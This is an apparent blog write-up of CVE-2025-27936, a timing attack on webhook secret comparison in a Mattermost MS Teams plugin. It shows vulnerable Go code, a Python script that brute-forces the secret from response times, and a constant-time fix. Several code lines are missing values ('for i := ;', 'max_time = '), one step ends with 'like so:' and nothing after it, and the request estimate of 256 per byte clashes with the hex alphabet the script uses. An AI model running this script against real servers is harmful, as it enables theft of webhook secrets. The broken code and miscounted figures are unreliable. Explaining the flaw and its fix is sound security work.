On February 2025, Mattermost disclosed CVE-2025-27936, a serious vulnerability affecting the MS Teams Plugin (<2.1.) and the Mattermost Server (10.5.x up to 10.5.1). This bug allowed attackers to pull off a timing attack against the webhook secret, potentially resulting in full compromise of the plugin's secrecy.

In this post, we'll walk through how the vulnerability works, show simple attack code, demonstrate the impact, and provide advice for mitigation.

What Was the Bug?

CVE-2025-27936 centers around how the Mattermost MS Teams plugin compared webhook secrets. With weak, non-constant time comparisons, the application exposed itself to timing attacks—where attackers measure response times to guess secrets, character by character.

The Technical Details

Whenever Mattermost receives a webhook request from MS Teams, it validates it using a shared secret. Here, the plugin compared the request's secret against the stored one, but did so using a simple string comparison. This leaks information about the secret length and even the matching prefix due to time differences.

Typical vulnerable code (simplified)

// BAD: Not constant time!
func insecureCompare(a, b string) bool {
    if len(a) != len(b) {
        return false
    }
    for i := ; i < len(a); i++ {
        if a[i] != b[i] {
            return false
        }
    }
    return true
}

When a mismatch is detected, the function returns immediately. This lets an attacker know exactly how many characters matched, based on how long the server took to reply.

Step 1: Send Webhook Requests

An attacker sends multiple webhook requests to the MS Teams webhook endpoint, each with a slightly different secret, like so:

Step 2: Measure Response Times

By measuring how long the server takes to respond, the attacker infers which prefix is correct—the longer the server takes, the more characters matched!

Step 3: Brute Force the Secret

Character by character, the attacker reconstructs the secret. On average, 256 requests per byte (assuming hex) are needed. If the secret is 32 bytes, that's about 8,192 requests—a feasible number!

Example Attack Code (Python)

Below is pure demonstrative code. Don't use this for unauthorized testing!

import requests
import time
import string

webhook_url = "https://mattermost.example.com/plugins/msteams/webhook";
secret_length = 32  # assuming 32 hex characters
alphabet = string.hexdigits.lower()[:16]  # "0123456789abcdef"

found_secret = ""
for i in range(secret_length):
    max_time = 
    guess_char = None
    for c in alphabet:
        test_secret = found_secret + c + "" * (secret_length - i - 1)
        start = time.time()
        r = requests.post(
            webhook_url,
            headers={"X-MS-Teams-Webhook-Secret": test_secret},
            json={"text": "test message"}
        )
        response_time = time.time() - start
        if response_time > max_time:
            max_time = response_time
            guess_char = c
    found_secret += guess_char
    print(f"So far: {found_secret}")
print(f"Recovered secret: {found_secret}")

Note: Real-world attacks are noisier, but this gives the concept.

Example from Go's standard library

import "crypto/subtle"

func secureCompare(a, b []byte) bool {
    return subtle.ConstantTimeCompare(a, b) == 1
}

Avoid writing your own compare function!

References

- Mattermost Security Updates - February 2025
- GitHub - Mattermost MSTeams Plugin
- OWASP - Timing Attack
- GoDoc for crypto/subtle - ConstantTimeCompare

Conclusion

CVE-2025-27936 is a strong reminder: security is in the details. Even the way you compare two strings can open the door to powerful attacks. For all security-critical code, use standard, constant-time comparison helpers, and stay up to date!

Patch early, rotate secrets, and remind your team: the tiniest bug can have the biggest impact.

Timeline

Published on: 04/16/2025 10:15:14 UTC
Last modified on: 04/16/2025 13:25:37 UTC